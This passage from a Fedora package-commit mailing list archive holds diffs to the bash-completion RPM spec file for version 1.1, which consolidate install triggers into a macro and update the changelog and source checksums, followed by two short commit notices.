+    ln -s %{_datadir}/%{name}/$f $RPM_BUILD_ROOT%{_sysconfdir}/bash_completion.d
+    echo "%ghost %{_sysconfdir}/bash_completion.d/$f" >> $d/%{name}-ghosts.list
 done
 cd -
 
@@ -57,171 +97,114 @@ cd -
 rm -rf $RPM_BUILD_ROOT
 
 
-%define do_triggerin() if [ ! -e %{_sysconfdir}/bash_completion.d/%1 ] ; then ln -s %{_datadir}/%{name}/%1 %{_sysconfdir}/bash_completion.d || : ; fi
-%define do_triggerun() [ $2 -gt 0 ] || rm -f %{_sysconfdir}/bash_completion.d/%1 || :
-
-# Not handled (yet?):
-# apache2ctl, bitkeeper, harbour, larch, lisp, p4, povray
-
-%triggerin -- bittorrent
-%do_triggerin bittorrent
-%triggerun -- bittorrent
-%do_triggerun bittorrent
-
-%triggerin -- bridge-utils
-%do_triggerin brctl
-%triggerun -- bridge-utils
-%do_triggerun brctl
-
-%triggerin -- cksfv
-%do_triggerin cksfv
-%triggerun -- cksfv
-%do_triggerun cksfv
-
-%triggerin -- clisp
-%do_triggerin clisp
-%triggerun -- clisp
-%do_triggerun clisp
-
-%triggerin -- dsniff
-%do_triggerin dsniff
-%triggerun -- dsniff
-%do_triggerun dsniff
-
-%triggerin -- freeciv
-%do_triggerin freeciv
-%triggerun -- freeciv
-%do_triggerun freeciv
-
-%triggerin -- gcc-gnat
-%do_triggerin gnatmake
-%triggerun -- gcc-gnat
-%do_triggerun gnatmake
-
-%triggerin -- gcl
-%do_triggerin gcl
-%triggerun -- gcl
-%do_triggerun gcl
-
-%triggerin -- gkrellm
-%do_triggerin gkrellm
-%triggerun -- gkrellm
-%do_triggerun gkrellm
-
-%triggerin -- gnupg2
-%do_triggerin gpg2
-%triggerun -- gnupg2
-%do_triggerun gpg2
-
-%triggerin -- lilypond
-%do_triggerin lilypond
-%triggerun -- lilypond
-%do_triggerun lilypond
-
-%triggerin -- lzma
-%do_triggerin lzma
-%triggerun -- lzma
-%do_triggerun lzma
-
-%triggerin -- lzop
-%do_triggerin lzop
-%triggerun -- lzop
-%do_triggerun lzop
-
-%triggerin -- mailman
-%do_triggerin mailman
-%triggerun -- mailman
-%do_triggerun mailman
-
-%triggerin -- mcrypt
-%do_triggerin mcrypt
-%triggerun -- mcrypt
-%do_triggerun mcrypt
-
-%triggerin -- minicom
-%do_triggerin minicom
-%triggerun -- minicom
-%do_triggerun minicom
-
-%triggerin -- mock
-%do_triggerin mock
-%triggerun -- mock
-%do_triggerun mock
-
-%triggerin -- monodevelop
-%do_triggerin monodevelop
-%triggerun -- monodevelop
-%do_triggerun monodevelop
-
-%triggerin -- mtx
-%do_triggerin mtx
-%triggerun -- mtx
-%do_triggerun mtx
-
-%triggerin -- net-tools
-%do_triggerin net-tools
-%triggerun -- net-tools
-%do_triggerun net-tools
-
-%triggerin -- openssh-clients
-%do_triggerin ssh
-%triggerun -- openssh-clients
-%do_triggerun ssh
-
-%triggerin -- perl-CPANPLUS
-%do_triggerin cpan2dist
-%triggerun -- perl-CPANPLUS
-%do_triggerun cpan2dist
-
-%triggerin -- perl-SVK
-%do_triggerin svk
-%triggerun -- perl-SVK
-%do_triggerun svk
-
-%triggerin -- plague-client
-%do_triggerin plague-client
-%triggerun -- plague-client
-%do_triggerun plague-client
-
-%triggerin -- qemu
-%do_triggerin qemu
-%triggerun -- qemu
-%do_triggerun qemu
-
-%triggerin -- quota
-%do_triggerin quota-tools
-%triggerun -- quota
-%do_triggerun quota-tools
-
-%triggerin -- qt
-%do_triggerin qdbus
-%triggerun -- qt
-%do_triggerun qdbus
-
-%triggerin -- rdesktop
-%do_triggerin rdesktop
-%triggerun -- rdesktop
-%do_triggerun rdesktop
-
-%triggerin -- ruby-ri
-%do_triggerin ri
-%triggerun -- ruby-ri
-%do_triggerun ri
-
-%triggerin -- sbcl
-%do_triggerin sbcl
-%triggerun -- sbcl
-%do_triggerun sbcl
-
-%triggerin -- sitecopy
-%do_triggerin sitecopy
-%triggerun -- sitecopy
-%do_triggerun sitecopy
-
-%triggerin -- snownews
-%do_triggerin snownews
-%triggerun -- snownews
-%do_triggerun snownews
+%global bashcomp_trigger() \
+%triggerin -- %{?2}%{!?2:%1}\
+[ -e %{_sysconfdir}/bash_completion.d/%1 ] ||\
+    ln -s %{_datadir}/%{name}/%1 %{_sysconfdir}/bash_completion.d || :\
+%triggerun -- %{?2}%{!?2:%1}\
+[ $2 -gt 0 ] || rm -f %{_sysconfdir}/bash_completion.d/%1 || :\
+%{nil}
+
+%bashcomp_trigger ant
+%bashcomp_trigger apt
+%bashcomp_trigger aptitude
+%bashcomp_trigger aspell
+%bashcomp_trigger autorpm
+%bashcomp_trigger bind-utils
+%bashcomp_trigger bitkeeper
+%bashcomp_trigger bittorrent
+%bashcomp_trigger bluez-utils bluez
+%bashcomp_trigger brctl bridge-utils
+%bashcomp_trigger bzip2
+%bashcomp_trigger cfengine
+%bashcomp_trigger chkconfig
+%bashcomp_trigger chsh util-linux-ng
+%bashcomp_trigger cksfv
+%bashcomp_trigger clisp
+%bashcomp_trigger cpan2dist perl-CPANPLUS
+%bashcomp_trigger cpio
+%bashcomp_trigger cups
+%bashcomp_trigger cvs
+%bashcomp_trigger dcop kdelibs3
+%bashcomp_trigger dhclient
+%bashcomp_trigger dict dictd
+%bashcomp_trigger dsniff
+%bashcomp_trigger findutils
+%bashcomp_trigger freeciv
+%bashcomp_trigger gcc
+%bashcomp_trigger gcl
+%bashcomp_trigger gdb
+%bashcomp_trigger genisoimage
+%bashcomp_trigger gkrellm
+%bashcomp_trigger gnatmake gcc-gnat
+%bashcomp_trigger gpg gnupg
+%bashcomp_trigger gpg2 gnupg2
+%bashcomp_trigger gzip
+%bashcomp_trigger imagemagick ImageMagick
+%bashcomp_trigger info
+%bashcomp_trigger ipmitool
+%bashcomp_trigger iptables
+%bashcomp_trigger isql unixODBC
+%bashcomp_trigger jar java-1.6.0-openjdk-devel
+%bashcomp_trigger java java-1.6.0-openjdk
+%bashcomp_trigger ldapvi
+%bashcomp_trigger lftp
+%bashcomp_trigger lisp cmucl
+%bashcomp_trigger lvm lvm2
+%bashcomp_trigger lzma xz-lzma-compat
+%bashcomp_trigger lzop
+%bashcomp_trigger mailman
+%bashcomp_trigger make
+%bashcomp_trigger man
+%bashcomp_trigger mc
+%bashcomp_trigger mcrypt
+%bashcomp_trigger mdadm
+%bashcomp_trigger minicom
+%bashcomp_trigger mkinitrd
+%bashcomp_trigger mock
+%bashcomp_trigger modules environment-modules
+%bashcomp_trigger monodevelop
+%bashcomp_trigger mplayer
+%bashcomp_trigger msynctool
+%bashcomp_trigger mtx
+%bashcomp_trigger munin-node
+%bashcomp_trigger mutt
+%bashcomp_trigger mysqladmin mysql
+%bashcomp_trigger ncftp
+%bashcomp_trigger net-tools
+%bashcomp_trigger ntpdate
+%bashcomp_trigger openldap openldap-clients
+%bashcomp_trigger openssl
+%bashcomp_trigger perl
+%bashcomp_trigger pine
+%bashcomp_trigger pkg-config pkgconfig
+%bashcomp_trigger plague-client
+%bashcomp_trigger postfix
+%bashcomp_trigger postgresql
+%bashcomp_trigger povray
+%bashcomp_trigger python
+%bashcomp_trigger qdbus qt
+%bashcomp_trigger qemu
+%bashcomp_trigger quota-tools quota
+%bashcomp_trigger rcs
+%bashcomp_trigger rdesktop
+%bashcomp_trigger repomanage yum-utils
+%bashcomp_trigger resolvconf
+%bashcomp_trigger rfkill
+%bashcomp_trigger ri ruby-ri
+%bashcomp_trigger rpcdebug nfs-utils
+%bashcomp_trigger rpmcheck
+%bashcomp_trigger rrdtool
+%bashcomp_trigger rsync
+%bashcomp_trigger samba samba-common
+%bashcomp_trigger sbcl
+%bashcomp_trigger screen
+%bashcomp_trigger shadow shadow-utils
+%bashcomp_trigger sitecopy
+%bashcomp_trigger smartctl smartmontools
+%bashcomp_trigger snownews
+%bashcomp_trigger ssh openssh-clients
+%bashcomp_trigger strace
 
 %triggerin -- subversion
 if [ -e %{_sysconfdir}/bash_completion.d/subversion ] ; then
@@ -230,32 +213,38 @@ elif [ ! -e %{_sysconfdir}/bash_completi
     ln -s %{_datadir}/%{name}/_subversion %{_sysconfdir}/bash_completion.d || :
 fi
 %triggerun -- subversion
-%do_triggerun _subversion
+[ $2 -gt 0 ] || rm -f %{_sysconfdir}/bash_completion.d/_subversion || :
 
-%triggerin -- unace
-%do_triggerin unace
-%triggerun -- unace
-%do_triggerun unace
-
-%triggerin -- unixODBC
-%do_triggerin isql
-%triggerun -- unixODBC
-%do_triggerun isql
-
-%triggerin -- unrar
-%do_triggerin unrar
-%triggerun -- unrar
-%do_triggerun unrar
-
-%triggerin -- yum-utils
-%do_triggerin repomanage
-%triggerun -- yum-utils
-%do_triggerun repomanage
-
-%triggerin -- vnc
-%do_triggerin vncviewer
-%triggerun -- vnc
-%do_triggerun vncviewer
+%bashcomp_trigger svk perl-SVK
+%bashcomp_trigger sysctl procps
+%bashcomp_trigger tar
+%bashcomp_trigger tcpdump
+%bashcomp_trigger unace
+%bashcomp_trigger unrar
+%bashcomp_trigger vncviewer vnc
+%bashcomp_trigger vpnc
+%bashcomp_trigger wireless-tools
+%bashcomp_trigger wodim
+%bashcomp_trigger wvdial
+%bashcomp_trigger xhost xorg-x11-server-utils
+%bashcomp_trigger xm xen
+%bashcomp_trigger xmllint libxml2
+%bashcomp_trigger xmlwf expat
+%bashcomp_trigger xmms
+%bashcomp_trigger xrandr xorg-x11-server-utils
+%bashcomp_trigger xz
+%bashcomp_trigger yp-tools
+
+%triggerin -- yum
+if [ -e %{_sysconfdir}/bash_completion.d/yum ] ; then
+    rm -f %{_sysconfdir}/bash_completion.d/_yum || :
+elif [ ! -e %{_sysconfdir}/bash_completion.d/_yum ] ; then
+    ln -s %{_datadir}/%{name}/_yum %{_sysconfdir}/bash_completion.d || :
+fi
+%triggerun -- yum
+[ $2 -gt 0 ] || rm -f %{_sysconfdir}/bash_completion.d/_yum || :
+
+%bashcomp_trigger yum-arch
 
 
 %files -f %{name}-ghosts.list
@@ -264,45 +253,54 @@ fi
 %config(noreplace) %{_sysconfdir}/profile.d/bash_completion.sh
 %{_sysconfdir}/bash_completion
 %dir %{_sysconfdir}/bash_completion.d/
+%{_sysconfdir}/bash_completion.d/bash-builtins
+%{_sysconfdir}/bash_completion.d/configure
+%{_sysconfdir}/bash_completion.d/dd
+%{_sysconfdir}/bash_completion.d/getent
+%{_sysconfdir}/bash_completion.d/iconv
+%{_sysconfdir}/bash_completion.d/rpm
 %{_datadir}/%{name}/
 
 
 %changelog
+* Mon Oct 19 2009 Ville Skytt? <ville.skytta at iki.fi> - 1:1.1-1
+- Update to 1.1.
+
 * Sun Sep 20 2009 Ville Skytt? <ville.skytta at iki.fi> - 1:1.0-5
 - Use svn completion from subversion instead of ours if available (#496456).
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:1.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
-* Sat Apr 18 2009 Ville Skytt? <ville.skytta at iki.fi> - 1:1.0-3
+* Sat Apr 18 2009 Ville Skytt? <ville.skytta at iki.fi> - 1:1.0-3
 - Do not install cowsay completion, an updated version is shipped with it.
 
-* Tue Apr  7 2009 Ville Skytt? <ville.skytta at iki.fi> - 1:1.0-2
+* Tue Apr  7 2009 Ville Skytt? <ville.skytta at iki.fi> - 1:1.0-2
 - Apply upstream patch to fix quoting issues with bash 4.x (#490322).
 
-* Mon Apr  6 2009 Ville Skytt? <ville.skytta at iki.fi> - 1:1.0-1
+* Mon Apr  6 2009 Ville Skytt? <ville.skytta at iki.fi> - 1:1.0-1
 - 1.0.
 
-* Mon Mar 23 2009 Ville Skytt? <ville.skytta at iki.fi> - 20080705-4.20090314gitf4f0984
+* Mon Mar 23 2009 Ville Skytt? <ville.skytta at iki.fi> - 20080705-4.20090314gitf4f0984
 - Add dependency on coreutils for triggers (#490768).
 - Update and improve mock completion.
 
-* Sun Mar 15 2009 Ville Skytt? <ville.skytta at iki.fi> - 20080705-3.20090314gitf4f0984
+* Sun Mar 15 2009 Ville Skytt? <ville.skytta at iki.fi> - 20080705-3.20090314gitf4f0984
 - git snapshot f4f0984, fixes #484578 (another issue), #486998.
 
 * Mon Feb 23 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 20080705-3.20090211git47d0c5b
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 
-* Wed Feb 11 2009 Ville Skytt? <ville.skytta at iki.fi> - 20080705-2.20090211git47d0c5b
+* Wed Feb 11 2009 Ville Skytt? <ville.skytta at iki.fi> - 20080705-2.20090211git47d0c5b
 - git snapshot 47d0c5b, fixes #484578.
 - lzop and repomanage completions included upstream.
 
-* Sun Jan 18 2009 Ville Skytt? <ville.skytta at iki.fi> - 20080705-2.20090115bzr1252
+* Sun Jan 18 2009 Ville Skytt? <ville.skytta at iki.fi> - 20080705-2.20090115bzr1252
 - r1252 snapshot; all patches applied upstream.
 - Do not install mercurial completion, an updated version is shipped with it.
 - Improve lzop and repomanage completion.
 
-* Tue Jan  6 2009 Ville Skytt? <ville.skytta at iki.fi> - 20080705-1
+* Tue Jan  6 2009 Ville Skytt? <ville.skytta at iki.fi> - 20080705-1
 - 20080705; new upstream at http://bash-completion.alioth.debian.org/
 - Perl, Debian, and scp patches applied upstream.
 - Patch to improve man completion: more sections, better filename handling.
@@ -310,10 +308,10 @@ fi
 - Patch to fix and speed up rpm installed packages completion.
 - Update mock completion.
 
-* Thu Sep 25 2008 Ville Skytt? <ville.skytta at iki.fi>
+* Thu Sep 25 2008 Ville Skytt? <ville.skytta at iki.fi>
 - More Matroska associations (#463829, based on patch from Yanko Kaneti).
 
-* Thu Sep 11 2008 Ville Skytt? <ville.skytta at iki.fi> - 20060301-13
+* Thu Sep 11 2008 Ville Skytt? <ville.skytta at iki.fi> - 20060301-13
 - Borrow/improve/adapt to Fedora some patches from Mandriva: improved support
   for getent and rpm --eval, better rpm backup file avoidance, lzma support.
 - Patch/unpatch to fix gzip and bzip2 options completion.
@@ -321,177 +319,177 @@ fi
 - Add and trigger-install support for lzop.
 - Associate *.sqlite with sqlite3.
 
-* Wed Jul 23 2008 Ville Skytt? <ville.skytta at iki.fi> - 20060301-12
+* Wed Jul 23 2008 Ville Skytt? <ville.skytta at iki.fi> - 20060301-12
 - Fix plague-client completion install (#456355, Ricky Zhou).
 - Trigger-install support for sitecopy.
 
-* Tue Apr 29 2008 Ville Skytt? <ville.skytta at iki.fi> - 20060301-11
+* Tue Apr 29 2008 Ville Skytt? <ville.skytta at iki.fi> - 20060301-11
 - Media player association improvements (#444467).
 
-* Sat Feb 23 2008 Ville Skytt? <ville.skytta at iki.fi> - 20060301-10
+* Sat Feb 23 2008 Ville Skytt? <ville.skytta at iki.fi> - 20060301-10
 - Patch to fix filename completion with svn (#430059).
 - Trigger-install support for dsniff.
 - Drop disttag.
 
-* Mon Dec 31 2007 Ville Skytt? <ville.skytta at iki.fi> - 20060301-8
+* Mon Dec 31 2007 Ville Skytt? <ville.skytta at iki.fi> - 20060301-8
 - Associate VDR recording files with media players.
 - Update mock completion.
 
-* Fri Nov 16 2007 Ville Skytt? <ville.skytta at iki.fi> - 20060301-7
+* Fri Nov 16 2007 Ville Skytt? <ville.skytta at iki.fi> - 20060301-7
 - Add JPEG2000 extensions for display(1) (#304771).
 - Update mock completion.
 
-* Sat Sep 22 2007 Ville Skytt? <ville.skytta at iki.fi> - 20060301-6
+* Sat Sep 22 2007 Ville Skytt? <ville.skytta at iki.fi> - 20060301-6
 - Patch to improve perl completion (#299571, Jim Radford,
   http://use.perl.org/~Alias/journal/33508).
 
-* Mon Aug 13 2007 Ville Skytt? <ville.skytta at iki.fi> - 20060301-5
+* Mon Aug 13 2007 Ville Skytt? <ville.skytta at iki.fi> - 20060301-5
 - License: GPLv2+
 
 * Sun Jun 24 2007 Jeff Sheltren <sheltren at cs.ucsb.edu> - 20060301-4
 - Update triggers to work with older versions of RPM
 
-* Wed Feb 28 2007 Ville Skytt? <ville.skytta at iki.fi> - 20060301-3
+* Wed Feb 28 2007 Ville Skytt? <ville.skytta at iki.fi> - 20060301-3
 - Fix scp with single quotes (#217178).
 - Borrow fix for bzip2 w/spaces, and apropos and whatis support from Debian.
 
-* Thu Aug 31 2006 Ville Skytt? <ville.skytta at iki.fi> - 20060301-2
+* Thu Aug 31 2006 Ville Skytt? <ville.skytta at iki.fi> - 20060301-2
 - Trigger-install support for gcl, lilypond, mercurial and svk.
 - Improve mock completion a bit.
 
-* Thu Mar  2 2006 Ville Skytt? <ville.skytta at iki.fi> - 20060301-1
+* Thu Mar  2 2006 Ville Skytt? <ville.skytta at iki.fi> - 20060301-1
 - 20060301, patches and profile.d scriptlet applied/included upstream.
 - Convert docs to UTF-8.
 
-* Wed Feb  8 2006 Ville Skytt? <ville.skytta at iki.fi> - 20050721-4
+* Wed Feb  8 2006 Ville Skytt? <ville.skytta at iki.fi> - 20050721-4
 - Don't source ourselves in non-interactive shells (#180419, Behdad Esfahbod).
 - Trigger-install snippets for clisp, gnatmake, isql, ri, sbcl, and snownews.
 
-* Sat Feb  4 2006 Ville Skytt? <ville.skytta at iki.fi>
+* Sat Feb  4 2006 Ville Skytt? <ville.skytta at iki.fi>
 - Add mtr(8) completion using known hosts (#179918, Yanko Kaneti).
 
-* Sun Jan  8 2006 Ville Skytt? <ville.skytta at iki.fi> - 20050721-3
+* Sun Jan  8 2006 Ville Skytt? <ville.skytta at iki.fi> - 20050721-3
 - Patch to hopefully fix quoting problems with bash 3.1 (#177056).
 
-* Mon Nov 28 2005 Ville Skytt? <ville.skytta at iki.fi> - 20050721-2
+* Mon Nov 28 2005 Ville Skytt? <ville.skytta at iki.fi> - 20050721-2
 - Work around potential login problem in profile.d snippet (#174355).
 
-* Sat Nov 26 2005 Ville Skytt? <ville.skytta at iki.fi>
+* Sat Nov 26 2005 Ville Skytt? <ville.skytta at iki.fi>
 - Don't mark the main source file as %%config.
 - Make profile.d snippet non-executable (#35714) and noreplace.
 - Add mock, plague-client and repomanage completion.
 - Allow "cvs stat" completion.
 - Macroize trigger creation.
 
-* Fri Jul 22 2005 Ville Skytt? <ville.skytta at iki.fi> - 20050721-1
+* Fri Jul 22 2005 Ville Skytt? <ville.skytta at iki.fi> - 20050721-1
 - 20050721.
 
-* Wed Jul 20 2005 Ville Skytt? <ville.skytta at iki.fi> - 20050720-1
+* Wed Jul 20 2005 Ville Skytt? <ville.skytta at iki.fi> - 20050720-1
 - 20050720, all patches applied upstream.
 
-* Mon Jul 18 2005 Ville Skytt? <ville.skytta at iki.fi> - 20050712-1
+* Mon Jul 18 2005 Ville Skytt? <ville.skytta at iki.fi> - 20050712-1
 - 20050712.
 - Add more OO.o2 extensions, and *.pdf for evince (#163520, Horst von Brand).
 - Add/fix support for some multimedia formats and players.
 - Fix tarball completion.
 
-* Sat Jan 22 2005 Ville Skytt? <ville.skytta at iki.fi> - 0:20050121-2
+* Sat Jan 22 2005 Ville Skytt? <ville.skytta at iki.fi> - 0:20050121-2
 - Update to 20050121.
 
-* Thu Jan 13 2005 Ville Skytt? <ville.skytta at iki.fi> - 0:20050112-1
+* Thu Jan 13 2005 Ville Skytt? <ville.skytta at iki.fi> - 0:20050112-1
 - Update to 20050112, openssl patch applied upstream.
 
-* Wed Jan  5 2005 Ville Skytt? <ville.skytta at iki.fi> - 0:20050103-1
+* Wed Jan  5 2005 Ville Skytt? <ville.skytta at iki.fi> - 0:20050103-1
 - Update to 20050103.
 
-* Sat Nov 27 2004 Ville Skytt? <ville.skytta at iki.fi> - 0:20041017-5
+* Sat Nov 27 2004 Ville Skytt? <ville.skytta at iki.fi> - 0:20041017-5
 - Change version scheme, bump release to provide Extras upgrade path.
 
-* Sat Nov  6 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.4.20041017
+* Sat Nov  6 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.4.20041017
 - Do the right thing with bash >= 3 too in profile.d snippet (bug 2228, thanks
   to Thorsten Leemhuis).
 
-* Mon Oct 18 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.3.20041017
+* Mon Oct 18 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.3.20041017
 - Update to 20041017, adds dhclient, lvm, and bittorrent completion.
 
-* Mon Jul 12 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.3.20040711
+* Mon Jul 12 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.3.20040711
 - Update to 20040711, patches applied upstream.
 
-* Sun Jul  4 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.3.20040704
+* Sun Jul  4 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.3.20040704
 - Update to 20040704.
 - Change to symlinked /etc/bash_completion.d snippets, add patch to read them.
 
-* Wed May 26 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.3.20040526
+* Wed May 26 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.3.20040526
 - Update to 20040526.
 
-* Thu Apr  1 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.3.20040331
+* Thu Apr  1 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.3.20040331
 - Add command-specific contrib snippet copying triggers.
 
-* Thu Apr  1 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.2.20040331
+* Thu Apr  1 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.2.20040331
 - Update to 20040331.
 
-* Sun Feb 15 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.2.20040214
+* Sun Feb 15 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.2.20040214
 - Update to 20040214.
 
-* Wed Feb 11 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.2.20040210
+* Wed Feb 11 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.2.20040210
 - Update to 20040210.
 
-* Fri Jan  2 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.2.20040101
+* Fri Jan  2 2004 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.2.20040101
 - Update to 20040101.
 - Update %%description.
 
-* Sat Dec 27 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.2.20031225
+* Sat Dec 27 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.2.20031225
 - Update to 20031225.
 
-* Sat Dec 20 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.2.20031215
+* Sat Dec 20 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.2.20031215
 - Don't pull in *.rpm* from %%{_sysconfdir}/bash_completion.d.
 
-* Mon Dec 15 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20031215
+* Mon Dec 15 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20031215
 - Update to 20031215.
 
-* Sun Nov 30 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20031125
+* Sun Nov 30 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20031125
 - Update to 20031125.
 
-* Thu Nov 13 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20031112
+* Thu Nov 13 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20031112
 - Update to 20031112.
 
-* Wed Oct 22 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20031022
+* Wed Oct 22 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20031022
 - Update to 20031022.
 
-* Tue Oct  7 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20031007
+* Tue Oct  7 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20031007
 - Update to 20031007.
 
-* Tue Sep 30 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20030929
+* Tue Sep 30 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20030929
 - Update to 20030929.
 
-* Fri Sep 12 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20030911
+* Fri Sep 12 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20030911
 - Update to 20030911.
 
-* Thu Aug 21 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20030821
+* Thu Aug 21 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20030821
 - Update to 20030821.
 - Drop .nosrc.rpm patch, already applied upstream.
 
-* Sat Aug 16 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20030811
+* Sat Aug 16 2003 Ville Skytt? <ville.skytta at iki.fi> 0:0.0-0.fdr.1.20030811
 - Update to 20030811.
 - Patch to make rpm --rebuild work with .nosrc.rpm's.
 
-* Sun Aug  3 2003 Ville Skytt? <ville.skytta at iki.fi> - 0:0.0-0.fdr.1.20030803
+* Sun Aug  3 2003 Ville Skytt? <ville.skytta at iki.fi> - 0:0.0-0.fdr.1.20030803
 - Update to 20030803.
 
-* Wed Jul 23 2003 Ville Skytt? <ville.skytta at iki.fi> - 0:0.0-0.fdr.1.20030721
+* Wed Jul 23 2003 Ville Skytt? <ville.skytta at iki.fi> - 0:0.0-0.fdr.1.20030721
 - Update to 20030721.
 
-* Sun Jul 13 2003 Ville Skytt? <ville.skytta at iki.fi> - 0:0.0-0.fdr.1.20030713
+* Sun Jul 13 2003 Ville Skytt? <ville.skytta at iki.fi> - 0:0.0-0.fdr.1.20030713
 - Update to 20030713.
 
-* Mon Jun 30 2003 Ville Skytt? <ville.skytta at iki.fi> - 0:0.0-0.fdr.1.20030630
+* Mon Jun 30 2003 Ville Skytt? <ville.skytta at iki.fi> - 0:0.0-0.fdr.1.20030630
 - Update to 20030630.
 
-* Sun Jun  8 2003 Ville Skytt? <ville.skytta at iki.fi> - 0:0.0-0.fdr.1.20030607
+* Sun Jun  8 2003 Ville Skytt? <ville.skytta at iki.fi> - 0:0.0-0.fdr.1.20030607
 - Update to 20030607.
 
-* Tue May 27 2003 Ville Skytt? <ville.skytta at iki.fi> - 0:0.0-0.fdr.1.20030527
+* Tue May 27 2003 Ville Skytt? <ville.skytta at iki.fi> - 0:0.0-0.fdr.1.20030527
 - Update to 20030527.
 
-* Sat May 24 2003 Ville Skytt? <ville.skytta at iki.fi> - 0:0.0-0.fdr.1.20030505
+* Sat May 24 2003 Ville Skytt? <ville.skytta at iki.fi> - 0:0.0-0.fdr.1.20030505
 - First build.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bash-completion/devel/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	6 Apr 2009 18:07:53 -0000	1.15
+++ sources	18 Oct 2009 21:48:15 -0000	1.16
@@ -1 +1,2 @@
-cd1c5648272917fbe0eef4ba30bb93f4  bash-completion-1.0.tar.gz
+1b5ed247ed904d0a2ec6a6d2c5876c52  bash-completion-1.1.tar.bz2
+7daa098026ae41f6c51a3f03035218f3  CHANGES-1.1


--- bash-completion-1.0-bash4quoting-490322.patch DELETED ---


--- bash-completion-mock DELETED ---


--- bash-completion-repomanage DELETED ---



From scop at fedoraproject.org  Sun Oct 18 21:49:47 2009
From: scop at fedoraproject.org (=?utf-8?q?Ville_Skytt=C3=A4?=)
Date: Sun, 18 Oct 2009 21:49:47 +0000 (UTC)
Subject: rpms/bash-completion/devel bash-completion.spec,1.43,1.44
Message-ID: <20091018214947.AC59C11C00E8@cvs1.fedora.phx.redhat.com>

Author: scop

Update of /cvs/pkgs/rpms/bash-completion/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27059

Modified Files:
	bash-completion.spec 
Log Message:
Note stuff applied/included upstream.


Index: bash-completion.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bash-completion/devel/bash-completion.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- bash-completion.spec	18 Oct 2009 21:48:15 -0000	1.43
+++ bash-completion.spec	18 Oct 2009 21:49:47 -0000	1.44
@@ -265,6 +265,7 @@ fi
 %changelog
 * Mon Oct 19 2009 Ville Skytt? <ville.skytta at iki.fi> - 1:1.1-1
 - Update to 1.1.
+- bash 4 quoting fix, mock and repomanage completions included upstream.
 
 * Sun Sep 20 2009 Ville Skytt? <ville.skytta at iki.fi> - 1:1.0-5
 - Use svn completion from subversion instead of ours if available (#496456).



From hubbitus at fedoraproject.org  Sun Oct 18 21:54:15 2009
From: hubbitus at fedoraproject.org (Pavel Alexeev)
Date: Sun, 18 Oct 2009 21:54:15 +0000 (UTC)
Subject: rpms/gloox/devel .cvsignore, 1.3, 1.4 gloox.spec, 1.3, 1.4 sources, 
	1.3, 1.4
Message-ID: <20091018215415.EE04211C00E8@cvs1.fedora.phx.redhat.com>

Author: hubbitus

Update of /cvs/pkgs/rpms/gloox/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28709

Modified Files:
	.cvsignore gloox.spec sources 
Log Message:
* Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.8.SVNr4204
- New build due resolve my bugreport https://mail.camaya.net/horde/whups/ticket/?id=157

